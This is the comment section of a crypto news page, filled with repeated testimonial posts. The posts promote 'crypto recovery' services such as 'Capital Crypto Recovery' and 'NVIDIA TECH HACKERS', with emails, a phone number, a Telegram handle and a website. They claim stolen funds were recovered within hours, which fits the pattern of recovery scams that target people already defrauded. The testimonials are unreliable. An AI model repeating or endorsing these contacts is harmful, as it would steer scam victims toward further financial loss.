    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon